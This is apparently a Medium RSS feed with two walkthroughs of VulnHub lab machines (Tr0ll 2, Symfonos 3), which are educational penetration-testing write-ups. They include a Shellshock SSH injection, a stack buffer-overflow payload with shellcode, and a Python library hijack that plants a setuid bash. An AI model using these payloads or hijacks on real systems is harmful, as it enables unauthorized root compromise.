<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Khaled Waleed (MrWayne) on Medium]]></title>
        <description><![CDATA[Stories by Khaled Waleed (MrWayne) on Medium]]></description>
        <link>https://medium.com/@kw27w5?source=rss-4038b1b88f06------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*zLczXOGZuQ_TG3q3yjdHTw.jpeg</url>
            <title>Stories by Khaled Waleed (MrWayne) on Medium</title>
            <link>https://medium.com/@kw27w5?source=rss-4038b1b88f06------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 00:56:57 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kw27w5/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ VulnHub: Tr0ll 2 Write-Up]]></title>
            <link>https://medium.com/@kw27w5/vulnhub-tr0ll-2-write-up-b2ca4eecfa7f?source=rss-4038b1b88f06------2</link>
            <guid isPermaLink="false">https://medium.com/p/b2ca4eecfa7f</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[ssh]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[buffer-overflow]]></category>
            <category><![CDATA[network-security]]></category>
            <dc:creator><![CDATA[Khaled Waleed (MrWayne)]]></dc:creator>
            <pubDate>Tue, 24 Feb 2026 16:37:49 GMT</pubDate>
            <atom:updated>2026-02-24T16:37:49.010Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Boot2Root Walkthrough, Full Exploitation Chain.</strong></p><h3>Overview</h3><p>Tr0ll 2 is a locally hosted VulnHub boot2root machine that combines web enumeration, steganography, credential cracking, legacy SSH handling, Shellshock exploitation, restricted shell escape, SUID abuse, and manual buffer overflow exploitation.</p><p>The objective was to gain root access.</p><h3>1️⃣ Initial Enumeration</h3><h3>Nmap Scan</h3><pre>nmap -p- -sC -sV -T4 &lt;target-ip&gt;</pre><p>Open ports discovered:</p><ul><li>21: FTP</li><li>22: SSH</li><li>80: HTTP</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K3qj6sXMUC-3BRhNAoWgOg.png" /></figure><p>The machine appeared relatively old based on service versions — something that would later become important.</p><h3>2️⃣ Web Enumeration</h3><p>Visiting port 80 revealed a simple webpage with only an image of a Troll face.</p><p>And when I went to the Robots.txt file, it had a list of directories, some of them worked, some of them gave a 404 error.</p><p>So, for manual directory testing, I copied the names of the directories, and useddirb, to know which ones are available.</p><pre>dirb http://192.168.100.185 paths.txt</pre><p>Several hidden directories were discovered, all of them containing the same image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZSb3jx7tCs6mx-fnOTzo2Q.png" /></figure><h3>3️⃣ Image Analysis</h3><p>While most images were identical when you look at them, one had a slightly different file size a clear indicator of hidden data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kQevfMlKs_veuZzJxDe8Vg.png" /></figure><p>And to analyse them, I went ahead and used strings</p><pre>strings cat_the_troll2.jpg</pre><p>This revealed the suspicious text Look deep within y0ur_self</p><p>so I went ahead and did <a href="http://192.168.100.185,/">http://192.168.100.185,</a> and to my surprise, there was this base64 encoded file called answer.txt</p><h3>4️⃣ Base64 Decoding</h3><p>I used <strong>CyberChef</strong> to decode the extracted strings.</p><p>After decoding, the output appeared to be a wordlist.</p><p>I saved it locally:</p><pre>touch wordlist.txt<br>nano wordlist.txt</pre><p>Pasted the decoded content into the file.</p><h3>5️⃣ FTP Access &amp; Cracking</h3><p>Connecting to FTP:</p><pre>ftp 192.168.100.185</pre><p>Tried using the machine’s name as a username and a password, and somehow worked.</p><p>A zip file was found (lmao.zip).</p><p>It was password protected.</p><p>I used a dictionary attack with fcrackzip:</p><pre>fcrackzip -D -p wordlist.txt lmao.zip</pre><p>Password successfully recovered.</p><p>Unzipping revealed an SSH private key (RSA) file for a user called noob.</p><h3>6️⃣ SSH Access Attempt &amp; Legacy Algorithm Issue</h3><p>Attempting SSH login using the private key:</p><pre>ssh -i noob noob@192.168.100.185</pre><p>Error:</p><pre>no matching key exchange method found</pre><p>The server used legacy RSA algorithms.</p><p>I forced compatibility:</p><pre>ssh -i keyfile user@192.168.100.185 -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa</pre><p>still didn’t work, it said “TRY HARDER!” which caught me off guard, because wth?</p><p>So, the workaround I found is to get a partial shell with the -t, and since the machine was old, I tried using the shell shock vaulnrability, so the new command was :</p><pre>ssh -i keyfile user@192.168.100.185 -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa -t &quot;() { :;}; /bin/bash&quot;</pre><p>And boom! now I have an interactive ssh shell.</p><h3>8️⃣ Privilege Escalation, SUID Binary</h3><p>After I imported linPEAS from my local machine to the Tr0ll machine, I ran it and it was very interested in a suspicious SUID binary that it found called r00t, but careful the directory had 3 files, door1, door2, door3.</p><p>You may be wondering “what’s so interesting about that, check the sizes again and for the different one just use it, and boy oh boy it didn’t work, and for each time you screw up, the machine fully reboots!</p><p>And after running it, I found out that it returns and outputs whatever the input is which is a classic buffer overflow candidate.</p><h3>9️⃣ Buffer Overflow Exploitation</h3><p>To know what type will it be and what should my exploit look like I did a couple of things.</p><p>First:</p><pre>checksec - file=./r00t</pre><p>And since NX was disabled and there is no canary, now we know stack is executable.</p><p>Second:</p><p>I had to check the ASLR</p><pre>cat /proc/sys/kernel/randomize_va_space</pre><p>Now we are ready to craft our exploit.</p><h3>Step 1: Generate Cyclic Pattern</h3><pre>msf-pattern_create -l 500</pre><p>Run the binary inside GDB:</p><pre>gdb ./r00t<br>run &lt;the created pattern&gt;</pre><p>Crash occurred.</p><h3>Step 2: Find Offset</h3><p>Extract EIP value and calculate offset:</p><pre>msf-pattern_offset -l 500 -q &lt;EIP_value&gt;</pre><p>Offset found: <strong>268 bytes</strong></p><h3>Step 3: Find ESP</h3><p>Inside GDB:</p><pre>info registers</pre><p>Retrieved ESP address.</p><h3>Step 4: Craft Payload</h3><p>Payload structure:</p><ul><li>268 bytes padding</li><li>Return address (ESP)</li><li>NOP sled (\x90)</li><li>Shellcode (which i got from another post)</li></ul><p>So now the full payload was:</p><pre>./r00t $(python -c &#39;print &quot;A&quot;*268 + <br>&quot;\x80\xfb\xff\xbf&quot; + &quot;\x90&quot;*16 <br>+ &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80&quot;&#39;)</pre><p>And boom! Now We got a root shell!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f6LyyJXla8R2TvNIrpVY8Q.png" /></figure><p>After execution:</p><pre>whoami<br>root</pre><p>Navigating:</p><pre>cd /root<br>cat proof.txt</pre><p>Root flag obtained.</p><h3>Key Takeaways</h3><p>This machine reinforced several critical concepts:</p><ul><li>Enumeration is everything.</li><li>File size anomalies matter.</li><li>strings can reveal hidden data in images.</li><li>CyberChef is extremely useful for decoding workflows.</li><li>Legacy services may require manual configuration.</li><li>Shellshock remains relevant in older environments.</li><li>SUID binaries are high-value targets.</li><li>Buffer overflows require structured methodology:</li><li>Cyclic pattern</li><li>Offset calculation</li><li>EIP control</li><li>Stack redirection</li><li>NOP sled</li><li>Shellcode injection</li></ul><h3>Conclusion</h3><p>Tr0ll 2 was not just about exploitation, it required chaining vulnerabilities and adapting at each stage.</p><p>It combined web exploitation, system enumeration, cryptographic handling, legacy protocol troubleshooting, and manual exploit development.</p><p>A highly educational box.</p><p>And now, On to the next one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*aNeawzDrQByGwZiE06-roA.png" /><figcaption>Machine’s theme logo</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b2ca4eecfa7f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Rooting Symfonos 3 (VulnHub): The Box Was “Idle”… Until It Wasn’t]]></title>
            <link>https://medium.com/@kw27w5/rooting-symfonos-3-vulnhub-the-box-was-idle-until-it-wasnt-4ee4e4562e0c?source=rss-4038b1b88f06------2</link>
            <guid isPermaLink="false">https://medium.com/p/4ee4e4562e0c</guid>
            <category><![CDATA[network-attacks]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[computer-science]]></category>
            <dc:creator><![CDATA[Khaled Waleed (MrWayne)]]></dc:creator>
            <pubDate>Fri, 20 Feb 2026 14:29:31 GMT</pubDate>
            <atom:updated>2026-02-20T14:29:31.010Z</atom:updated>
            <content:encoded><![CDATA[<p>Some machines don’t beat you with one impossible exploit , they beat you by making you <em>assume</em> the wrong thing.</p><p>Symfonos 3 was exactly that.</p><p>I hit a point where everything looked dead: no users, no obvious privesc, nothing screaming “root me.” Then I got the lightbulb moment that changed the whole game:</p><blockquote><em>Even if no humans are using the machine, the machine is still talking.</em></blockquote><p>This write-up is my full technical story, broken into phases: <strong>Recon → Initial Access → Lateral Movement → Privilege Escalation</strong>, with the exact “why” behind each decision , so it reads like real problem-solving, not a copy-paste checklist.</p><h3>Phase 1: Recon (Find the weird surface)</h3><p>I started the way I start almost every VulnHub box: enumerate services, then aggressively enumerate <em>content</em>.</p><p>Directory busting on the web service exposed something that immediately struck me:</p><p>/cgi-bin/underworld/</p><p>That path matters because <strong>CGI often means older patterns</strong>, and older patterns sometimes mean old vulnerabilities still exist. CGI scripts also tend to pass request data into environment variables (depending on how they’re implemented), which becomes relevant in a second.</p><p>At this point, I didn’t know the full chain yet, I just had a “this is unusual” signal worth chasing.</p><h3>Phase 2: Initial Access (Shellshock → foothold)</h3><p>That /cgi-bin/underworld/ endpoint ended up being vulnerable to <strong>Shellshock</strong>. And fortunately, I was just finishing another vaulnhub box that had that vaulnrability and read a paper on it!</p><p><strong>What Shellshock is (simple and accurate):</strong></p><p>Shellshock was a major vulnerability in Bash where specially crafted input could trick Bash into executing attacker-controlled commands. In many real CGI setups, parts of the HTTP request (like headers) can become environment variables. If the CGI script (directly or indirectly) invokes Bash, Bash processes those variables, and that’s where the bug can trigger.</p><p>So this phase was: identify the vulnerable CGI behavior → validate it → leverage it for code execution.</p><p>Used Netcat to get a reverse shell.</p><p>Now I had a foothold… and then the real fight started.</p><h3>Phase 3: The Wall (LinPEAS shows something “useful” that looks useless)</h3><p>With a shell, I moved to local enumeration. LinPEAS quickly highlighted something interesting:</p><p>tcpdump had elevated Linux capabilities, specifically networking-related ones.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E1wX7E5oE_P9YxmsSaNYbQ.png" /></figure><p>If you’re not familiar with Linux capabilities, here’s the key idea:</p><p><strong>Capabilities are “partial root privileges.”</strong></p><p>Instead of granting full root, the system can grant a binary only the exact powers it needs (for example, the ability to capture raw packets).</p><p>That’s already a risk, but at the time I didn’t see the path.</p><p>My brain went:</p><blockquote><em>“Okay… tcpdump can sniff traffic. But I’m the only one here. Who’s generating traffic?”</em></blockquote><p>And for a moment, I treated that finding like a dead end.</p><p>That was my mistake.</p><h3>Phase 4: The Pivot (The box is never silent)</h3><p>The breakthrough was realizing something that feels obvious <em>after</em> you learn it:</p><p>Even if no humans are active, the system can still generate traffic through:</p><ul><li>internal service-to-service calls</li><li>automated health checks</li><li>scheduled scripts</li><li>local monitoring</li><li>loopback communications between services on the same host</li><li>periodic FTP/HTTP requests to itself</li></ul><p>So the question became:</p><blockquote><em>“What happens if I sniff the traffic that exists even when nobody is ‘using’ the machine?”</em></blockquote><p>That’s when tcpdump stopped being “Dead” and became <strong>the key</strong>.</p><p>I monitored internal traffic and eventually captured something I didn’t expect to get so easily:</p><p><strong>plaintext FTP credentials.</strong></p><p>And that was the moment the whole machine opened up.</p><h3>Phase 5: Lateral Movement (Captured creds →hades)</h3><p>With the captured FTP password, I could pivot into another user: hades.</p><p>This part matters because the box was designed around <em>role separation</em> , the second user had a different permission model and a whole different set of things exposed.</p><p>Once I became hades, I ran basic checks like group membership… and saw something that gave me an idea, to know where can I find the route.</p><p>I was in a special group:</p><p>gods</p><p>That group membership ended up being the hidden leverge for privesc.</p><h3>Phase 6: Discovery (Writable Python 2.7 libraries = a landmine)</h3><p>As hades, I searched for files owned by or writable by the gods group… and the output was massive:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rfa83AwR-Uj_hXl7g-2cgg.png" /></figure><p>(the find / -group gods -writable … list)</p><p>A huge portion of <strong>Python 2.7 standard library files</strong> were writable.</p><p>On its own, “writable libraries” is just a scary permission mistake.</p><p>But it becomes a privilege escalation when two things are true:</p><ol><li><strong>A privileged process runs Python</strong>, and</li><li>That privileged script imports a library that you can modify.</li></ol><p>So the real question wasn’t “which file do I overwrite?”</p><p>It was:</p><blockquote><em>“What is root running automatically that imports Python modules?”</em></blockquote><p>That’s a mindset shift: from file-hunting → to <strong>execution-hunting</strong>.</p><h3>Phase 7: Trigger (Following the files first, then confirming with pspy )</h3><p>At this point, I didn’t have the full picture from cron alone. I checked the usual places (/etc/crontab, /etc/cron.*, user crontabs), but nothing screamed “here’s your escalation path.”</p><p>So I went back to what the machine <em>was</em> giving me: <strong>file-system clues</strong>.</p><p>Earlier enumeration showed me something important:</p><ul><li>I had access to a <em>huge</em> set of Python 2.7 libraries that were <strong>group-writable</strong> (the gods group).</li><li>That means if <strong>root runs any Python 2.7 script</strong>, I might be able to influence what it imports.</li></ul><p>That immediately made me think: where would a custom/root-owned script live ?</p><p>On Linux boxes, one of the first places I check for “custom app stuff” is:</p><ul><li>/opt (third-party apps, in-house scripts, weird admin tooling)</li></ul><p>So I followed instinct and went exploring there.</p><p>And that’s when I found the smoking gun:</p><p>/opt/ftpclient/ftpclient.py</p><p>I didn’t even need pspy to <em>discover</em> it , the filesystem gave it away. But discovery isn’t enough. I needed proof that <strong>root actually executes it</strong>.</p><p>So I used process monitoring to confirm the behavior:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4uY-hheEPdGiHIalxxs_Rw.png" /><figcaption><em>(showing the root running /usr/bin/python2.7 /opt/ftpclient/ftpclient.py every minute)</em></figcaption></figure><p>There it was, repeating like clockwork.</p><p>This was the real “connect-the-dots” moment:</p><ul><li>Root is executing a <strong>Python 2.7</strong> script on a schedule</li><li>I can modify <strong>Python 2.7 libraries</strong> (group-writable)</li><li>Python imports modules dynamically when the script runs</li><li>So I can influence what root executes <strong>without touching the script itself</strong></li></ul><p><strong>And that’s what’s called: dependency hijacking / library hijacking</strong></p><p>And when it exists, it’s brutal, because “write access” to a dependency becomes <strong>root code execution</strong> the moment the privileged process imports it.</p><h3>Phase 8: Privilege Escalation (Python library hijack → root)</h3><p>Python relies on imports. If a privileged Python process imports a module that you can modify (or a module from a path you can influence), your code runs inside that privileged process.</p><p>In Symfonos 3, the scheduled root script imported <strong>ftplib.py</strong>, of course, it was writable due to the misconfigured gods group permissions.</p><p>So I hijacked the imported module and made it execute a root-level action when the script ran on its next scheduled execution. By running</p><pre>echo &#39;import os; os.system(&quot;cp /bin/bash /tmp/rootbash &amp;&amp; chmod +s /tmp/rootbash&quot;)&#39; &gt;&gt; /usr/lib/python2.7/ftplib.py</pre><p>And to not wait, i forced a recompile by doing a</p><p>rm /usr/lib/python2.7/ftplib.pyc</p><p>then, for the final blow</p><pre>/tmp/rootbash -p</pre><p>The result: a root-level shell path opened up, and I used it to gain full root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mGIl1YeDyWRau50mM20vdA.png" /></figure><p>At that point, it was game over.</p><h3>Lessons Learned (the real value of this box)</h3><h3>1) Least Privilege is not theory</h3><p>tcpdump having powerful capabilities might look normal in isolation.</p><p>But paired with plaintext protocols, it becomes credential theft waiting to happen.</p><h3>2) “No users” doesn’t mean “no signals”</h3><p>Services talk. Scripts run. Health checks happen.</p><p>Assuming silence is how you miss everything.</p><h3>3) Writable dependencies are basically a root backdoor</h3><p>If a low-privileged user can modify libraries used by root automation, that’s a privilege escalation path, not a “maybe.”</p><h3>4) Enumeration is hypothesis-building</h3><p>Tools didn’t solve this for me.</p><p>The win came from asking one better question after each clue:</p><ul><li>“Why is this here?”</li><li>“What does this enable?”</li><li>“What does root do repeatedly?”</li><li>“Where does this permission actually lead?”</li></ul><h3>Closing thoughts</h3><p>Symfonos 3 forced me to stop thinking like a scanner and start thinking like an attacker:</p><ul><li><strong>Web foothold</strong> gave me access</li><li><strong>Capabilities</strong> gave me leverage</li><li><strong>Sniffed traffic</strong> gave me credentials</li><li><strong>Process monitoring</strong> exposed root automation</li><li><strong>Dependency hijacking</strong> gave me root</li></ul><p>And the biggest shift was this:</p><blockquote><em>The box wasn’t idle. I was just looking in the wrong place.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4ee4e4562e0c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>